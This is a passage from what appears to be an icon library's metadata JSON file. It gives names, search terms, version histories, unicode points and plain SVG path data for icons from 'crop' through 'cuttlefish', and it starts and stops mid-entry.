2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z"
      }
    },
    "free": ["brands"]
  },
  "crop": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f125"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["design", "frame", "mask", "resize", "shrink"]
    },
    "styles": ["solid"],
    "unicode": "f125",
    "label": "Crop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 109.3l54.6-54.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L402.7 64 160 64v64l178.7 0L128 338.7V32c0-17.7-14.3-32-32-32S64 14.3 64 32V64H32C14.3 64 0 78.3 0 96s14.3 32 32 32H64V384c0 35.3 28.7 64 64 64H352V384H173.3L384 173.3 384 480c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H448l0-274.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 109.3l54.6-54.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L402.7 64 160 64v64l178.7 0L128 338.7V32c0-17.7-14.3-32-32-32S64 14.3 64 32V64H32C14.3 64 0 78.3 0 96s14.3 32 32 32H64V384c0 35.3 28.7 64 64 64H352V384H173.3L384 173.3 384 480c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H448l0-274.7z"
      }
    },
    "free": ["solid"]
  },
  "crop-simple": {
    "aliases": {
      "names": ["crop-alt"],
      "unicodes": {
        "secondary": ["10f565"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "frame", "mask", "resize", "shrink"]
    },
    "styles": ["solid"],
    "unicode": "f565",
    "label": "Crop Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 32c0-17.7-14.3-32-32-32S64 14.3 64 32V64H32C14.3 64 0 78.3 0 96s14.3 32 32 32H64V384c0 35.3 28.7 64 64 64H352V384H128V32zM384 480c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H448l0-256c0-35.3-28.7-64-64-64L160 64v64l224 0 0 352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 32c0-17.7-14.3-32-32-32S64 14.3 64 32V64H32C14.3 64 0 78.3 0 96s14.3 32 32 32H64V384c0 35.3 28.7 64 64 64H352V384H128V32zM384 480c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H448l0-256c0-35.3-28.7-64-64-64L160 64v64l224 0 0 352z"
      }
    },
    "free": ["solid"]
  },
  "cross": {
    "aliases": {
      "unicodes": {
        "composite": ["1f547", "271d"],
        "secondary": ["10f654"]
      }
    },
    "changes": ["5.3.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Christian",
        "Heavy Latin Cross",
        "catholicism",
        "christianity",
        "church",
        "cross",
        "jesus",
        "latin cross",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f654",
    "label": "Cross",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M176 0c-26.5 0-48 21.5-48 48v80H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h80V464c0 26.5 21.5 48 48 48h32c26.5 0 48-21.5 48-48V256h80c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H256V48c0-26.5-21.5-48-48-48H176z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M176 0c-26.5 0-48 21.5-48 48v80H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h80V464c0 26.5 21.5 48 48 48h32c26.5 0 48-21.5 48-48V256h80c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H256V48c0-26.5-21.5-48-48-48H176z"
      }
    },
    "free": ["solid"]
  },
  "crosshairs": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f05b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["aim", "bullseye", "gpd", "picker", "position"]
    },
    "styles": ["solid"],
    "unicode": "f05b",
    "label": "Crosshairs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c17.7 0 32 14.3 32 32V42.4c93.7 13.9 167.7 88 181.6 181.6H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H469.6c-13.9 93.7-88 167.7-181.6 181.6V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V469.6C130.3 455.7 56.3 381.7 42.4 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H42.4C56.3 130.3 130.3 56.3 224 42.4V32c0-17.7 14.3-32 32-32zM107.4 288c12.5 58.3 58.4 104.1 116.6 116.6V384c0-17.7 14.3-32 32-32s32 14.3 32 32v20.6c58.3-12.5 104.1-58.4 116.6-116.6H384c-17.7 0-32-14.3-32-32s14.3-32 32-32h20.6C392.1 165.7 346.3 119.9 288 107.4V128c0 17.7-14.3 32-32 32s-32-14.3-32-32V107.4C165.7 119.9 119.9 165.7 107.4 224H128c17.7 0 32 14.3 32 32s-14.3 32-32 32H107.4zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c17.7 0 32 14.3 32 32V42.4c93.7 13.9 167.7 88 181.6 181.6H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H469.6c-13.9 93.7-88 167.7-181.6 181.6V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V469.6C130.3 455.7 56.3 381.7 42.4 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H42.4C56.3 130.3 130.3 56.3 224 42.4V32c0-17.7 14.3-32 32-32zM107.4 288c12.5 58.3 58.4 104.1 116.6 116.6V384c0-17.7 14.3-32 32-32s32 14.3 32 32v20.6c58.3-12.5 104.1-58.4 116.6-116.6H384c-17.7 0-32-14.3-32-32s14.3-32 32-32h20.6C392.1 165.7 346.3 119.9 288 107.4V128c0 17.7-14.3 32-32 32s-32-14.3-32-32V107.4C165.7 119.9 119.9 165.7 107.4 224H128c17.7 0 32 14.3 32 32s-14.3 32-32 32H107.4zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "crow": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f520"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bird", "bullfrog", "fauna", "halloween", "holiday", "toad"]
    },
    "styles": ["solid"],
    "unicode": "f520",
    "label": "Crow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M456 0c-48.6 0-88 39.4-88 88v29.2L12.5 390.6c-14 10.8-16.6 30.9-5.9 44.9s30.9 16.6 44.9 5.9L126.1 384H259.2l46.6 113.1c5 12.3 19.1 18.1 31.3 13.1s18.1-19.1 13.1-31.3L311.1 384H352c1.1 0 2.1 0 3.2 0l46.6 113.2c5 12.3 19.1 18.1 31.3 13.1s18.1-19.1 13.1-31.3l-42-102C484.9 354.1 544 280 544 192V128v-8l80.5-20.1c8.6-2.1 13.8-10.8 11.6-19.4C629 52 603.4 32 574 32H523.9C507.7 12.5 483.3 0 456 0zm0 64a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M456 0c-48.6 0-88 39.4-88 88v29.2L12.5 390.6c-14 10.8-16.6 30.9-5.9 44.9s30.9 16.6 44.9 5.9L126.1 384H259.2l46.6 113.1c5 12.3 19.1 18.1 31.3 13.1s18.1-19.1 13.1-31.3L311.1 384H352c1.1 0 2.1 0 3.2 0l46.6 113.2c5 12.3 19.1 18.1 31.3 13.1s18.1-19.1 13.1-31.3l-42-102C484.9 354.1 544 280 544 192V128v-8l80.5-20.1c8.6-2.1 13.8-10.8 11.6-19.4C629 52 603.4 32 574 32H523.9C507.7 12.5 483.3 0 456 0zm0 64a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "crown": {
    "aliases": {
      "unicodes": {
        "composite": ["1f451"],
        "secondary": ["10f521"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "award",
        "clothing",
        "crown",
        "favorite",
        "king",
        "queen",
        "royal",
        "tiara"
      ]
    },
    "styles": ["solid"],
    "unicode": "f521",
    "label": "Crown",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M309 106c11.4-7 19-19.7 19-34c0-22.1-17.9-40-40-40s-40 17.9-40 40c0 14.4 7.6 27 19 34L209.7 220.6c-9.1 18.2-32.7 23.4-48.6 10.7L72 160c5-6.7 8-15 8-24c0-22.1-17.9-40-40-40S0 113.9 0 136s17.9 40 40 40c.2 0 .5 0 .7 0L86.4 427.4c5.5 30.4 32 52.6 63 52.6H426.6c30.9 0 57.4-22.1 63-52.6L535.3 176c.2 0 .5 0 .7 0c22.1 0 40-17.9 40-40s-17.9-40-40-40s-40 17.9-40 40c0 9 3 17.3 8 24l-89.1 71.3c-15.9 12.7-39.5 7.5-48.6-10.7L309 106z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M309 106c11.4-7 19-19.7 19-34c0-22.1-17.9-40-40-40s-40 17.9-40 40c0 14.4 7.6 27 19 34L209.7 220.6c-9.1 18.2-32.7 23.4-48.6 10.7L72 160c5-6.7 8-15 8-24c0-22.1-17.9-40-40-40S0 113.9 0 136s17.9 40 40 40c.2 0 .5 0 .7 0L86.4 427.4c5.5 30.4 32 52.6 63 52.6H426.6c30.9 0 57.4-22.1 63-52.6L535.3 176c.2 0 .5 0 .7 0c22.1 0 40-17.9 40-40s-17.9-40-40-40s-40 17.9-40 40c0 9 3 17.3 8 24l-89.1 71.3c-15.9 12.7-39.5 7.5-48.6-10.7L309 106z"
      }
    },
    "free": ["solid"]
  },
  "crutch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7f7"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cane", "injury", "mobility", "wheelchair"]
    },
    "styles": ["solid"],
    "unicode": "f7f7",
    "label": "Crutch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M297.4 9.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0zm-96 144l-34.8 34.8c-12.9 12.9-21.9 29.2-25.8 47.1L116.8 342.9c-1.3 5.9-4.3 11.4-8.6 15.7L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l98.8-98.8c4.3-4.3 9.7-7.3 15.7-8.6l107.6-23.9c17.8-4 34.1-12.9 47.1-25.8l34.7-34.7c0 0 .1-.1 .1-.1s.1-.1 .1-.1l74.6-74.6-45.3-45.3L336 242.7 269.3 176l52.1-52.1L276.1 78.6l-74.7 74.7zM224 221.3L290.7 288l-12.2 12.2c-4.3 4.3-9.7 7.3-15.7 8.6l-76.7 17 17-76.7c1.3-5.9 4.3-11.4 8.6-15.7L224 221.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M297.4 9.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0zm-96 144l-34.8 34.8c-12.9 12.9-21.9 29.2-25.8 47.1L116.8 342.9c-1.3 5.9-4.3 11.4-8.6 15.7L9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l98.8-98.8c4.3-4.3 9.7-7.3 15.7-8.6l107.6-23.9c17.8-4 34.1-12.9 47.1-25.8l34.7-34.7c0 0 .1-.1 .1-.1s.1-.1 .1-.1l74.6-74.6-45.3-45.3L336 242.7 269.3 176l52.1-52.1L276.1 78.6l-74.7 74.7zM224 221.3L290.7 288l-12.2 12.2c-4.3 4.3-9.7 7.3-15.7 8.6l-76.7 17 17-76.7c1.3-5.9 4.3-11.4 8.6-15.7L224 221.3z"
      }
    },
    "free": ["solid"]
  },
  "cruzeiro-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Cruzeiro Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e152",
    "label": "Cruzeiro Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 256c0-88.4 71.6-160 160-160c41 0 78.3 15.4 106.7 40.7c13.2 11.8 33.4 10.7 45.2-2.5s10.7-33.4-2.5-45.2c-39.6-35.5-92-57-149.3-57C132.3 32 32 132.3 32 256s100.3 224 224 224c57.4 0 109.7-21.6 149.3-57c13.2-11.8 14.3-32 2.5-45.2s-32-14.3-45.2-2.5C334.3 400.6 297 416 256 416V320v-8.7c0-12.8 10.4-23.3 23.3-23.3c4.6 0 9.1 1.4 12.9 3.9l10.1 6.7c14.7 9.8 34.6 5.8 44.4-8.9s5.8-34.6-8.9-44.4l-10.1-6.7c-14.3-9.6-31.2-14.7-48.4-14.7c-12.4 0-24.2 2.6-34.9 7.3c-5.5-4.5-12.6-7.3-20.3-7.3c-17.7 0-32 14.3-32 32v55.3V320v82.7C135.5 378 96 321.6 96 256z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 256c0-88.4 71.6-160 160-160c41 0 78.3 15.4 106.7 40.7c13.2 11.8 33.4 10.7 45.2-2.5s10.7-33.4-2.5-45.2c-39.6-35.5-92-57-149.3-57C132.3 32 32 132.3 32 256s100.3 224 224 224c57.4 0 109.7-21.6 149.3-57c13.2-11.8 14.3-32 2.5-45.2s-32-14.3-45.2-2.5C334.3 400.6 297 416 256 416V320v-8.7c0-12.8 10.4-23.3 23.3-23.3c4.6 0 9.1 1.4 12.9 3.9l10.1 6.7c14.7 9.8 34.6 5.8 44.4-8.9s5.8-34.6-8.9-44.4l-10.1-6.7c-14.3-9.6-31.2-14.7-48.4-14.7c-12.4 0-24.2 2.6-34.9 7.3c-5.5-4.5-12.6-7.3-20.3-7.3c-17.7 0-32 14.3-32 32v55.3V320v82.7C135.5 378 96 321.6 96 256z"
      }
    },
    "free": ["solid"]
  },
  "css3": {
    "changes": ["3.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["code"]
    },
    "styles": ["brands"],
    "unicode": "f13c",
    "label": "CSS 3 Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z"
      }
    },
    "free": ["brands"]
  },
  "css3-alt": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38b",
    "label": "Alternate CSS3 Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z"
      }
    },
    "free": ["brands"]
  },
  "cube": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1b2"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["3d", "block", "dice", "package", "square", "tesseract"]
    },
    "styles": ["solid"],
    "unicode": "f1b2",
    "label": "Cube",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M234.5 5.7c13.9-5 29.1-5 43.1 0l192 68.6C495 83.4 512 107.5 512 134.6V377.4c0 27-17 51.2-42.5 60.3l-192 68.6c-13.9 5-29.1 5-43.1 0l-192-68.6C17 428.6 0 404.5 0 377.4V134.6c0-27 17-51.2 42.5-60.3l192-68.6zM256 66L82.3 128 256 190l173.7-62L256 66zm32 368.6l160-57.1v-188L288 246.6v188z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M234.5 5.7c13.9-5 29.1-5 43.1 0l192 68.6C495 83.4 512 107.5 512 134.6V377.4c0 27-17 51.2-42.5 60.3l-192 68.6c-13.9 5-29.1 5-43.1 0l-192-68.6C17 428.6 0 404.5 0 377.4V134.6c0-27 17-51.2 42.5-60.3l192-68.6zM256 66L82.3 128 256 190l173.7-62L256 66zm32 368.6l160-57.1v-188L288 246.6v188z"
      }
    },
    "free": ["solid"]
  },
  "cubes": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1b3"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "3d",
        "block",
        "dice",
        "package",
        "pyramid",
        "square",
        "stack",
        "tesseract"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1b3",
    "label": "Cubes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M290.8 48.6l78.4 29.7L288 109.5 206.8 78.3l78.4-29.7c1.8-.7 3.8-.7 5.7 0zM136 92.5V204.7c-1.3 .4-2.6 .8-3.9 1.3l-96 36.4C14.4 250.6 0 271.5 0 294.7V413.9c0 22.2 13.1 42.3 33.5 51.3l96 42.2c14.4 6.3 30.7 6.3 45.1 0L288 457.5l113.5 49.9c14.4 6.3 30.7 6.3 45.1 0l96-42.2c20.3-8.9 33.5-29.1 33.5-51.3V294.7c0-23.3-14.4-44.1-36.1-52.4l-96-36.4c-1.3-.5-2.6-.9-3.9-1.3V92.5c0-23.3-14.4-44.1-36.1-52.4l-96-36.4c-12.8-4.8-26.9-4.8-39.7 0l-96 36.4C150.4 48.4 136 69.3 136 92.5zM392 210.6l-82.4 31.2V152.6L392 121v89.6zM154.8 250.9l78.4 29.7L152 311.7 70.8 280.6l78.4-29.7c1.8-.7 3.8-.7 5.7 0zm18.8 204.4V354.8L256 323.2v95.9l-82.4 36.2zM421.2 250.9c1.8-.7 3.8-.7 5.7 0l78.4 29.7L424 311.7l-81.2-31.1 78.4-29.7zM523.2 421.2l-77.6 34.1V354.8L528 323.2v90.7c0 3.2-1.9 6-4.8 7.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M290.8 48.6l78.4 29.7L288 109.5 206.8 78.3l78.4-29.7c1.8-.7 3.8-.7 5.7 0zM136 92.5V204.7c-1.3 .4-2.6 .8-3.9 1.3l-96 36.4C14.4 250.6 0 271.5 0 294.7V413.9c0 22.2 13.1 42.3 33.5 51.3l96 42.2c14.4 6.3 30.7 6.3 45.1 0L288 457.5l113.5 49.9c14.4 6.3 30.7 6.3 45.1 0l96-42.2c20.3-8.9 33.5-29.1 33.5-51.3V294.7c0-23.3-14.4-44.1-36.1-52.4l-96-36.4c-1.3-.5-2.6-.9-3.9-1.3V92.5c0-23.3-14.4-44.1-36.1-52.4l-96-36.4c-12.8-4.8-26.9-4.8-39.7 0l-96 36.4C150.4 48.4 136 69.3 136 92.5zM392 210.6l-82.4 31.2V152.6L392 121v89.6zM154.8 250.9l78.4 29.7L152 311.7 70.8 280.6l78.4-29.7c1.8-.7 3.8-.7 5.7 0zm18.8 204.4V354.8L256 323.2v95.9l-82.4 36.2zM421.2 250.9c1.8-.7 3.8-.7 5.7 0l78.4 29.7L424 311.7l-81.2-31.1 78.4-29.7zM523.2 421.2l-77.6 34.1V354.8L528 323.2v90.7c0 3.2-1.9 6-4.8 7.3z"
      }
    },
    "free": ["solid"]
  },
  "cubes-stacked": {
    "changes": ["6.1.0", "6.1.1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["blocks", "cubes", "sugar"]
    },
    "styles": ["solid"],
    "unicode": "e4e6",
    "label": "Cubes Stacked",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M192 64v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H224c-17.7 0-32 14.3-32 32zM82.7 207c-15.3 8.8-20.5 28.4-11.7 43.7l32 55.4c8.8 15.3 28.4 20.5 43.7 11.7l55.4-32c15.3-8.8 20.5-28.4 11.7-43.7l-32-55.4c-8.8-15.3-28.4-20.5-43.7-11.7L82.7 207zM288 192c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H288zm64 160c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H352zM160 384v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32zM32 352c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M192 64v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H224c-17.7 0-32 14.3-32 32zM82.7 207c-15.3 8.8-20.5 28.4-11.7 43.7l32 55.4c8.8 15.3 28.4 20.5 43.7 11.7l55.4-32c15.3-8.8 20.5-28.4 11.7-43.7l-32-55.4c-8.8-15.3-28.4-20.5-43.7-11.7L82.7 207zM288 192c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H288zm64 160c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H352zM160 384v64c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32zM32 352c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V384c0-17.7-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "cuttlefish": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38c",
    "label": "Cuttlefish",
    "voted": false,
    "svg": {
      "brands": {
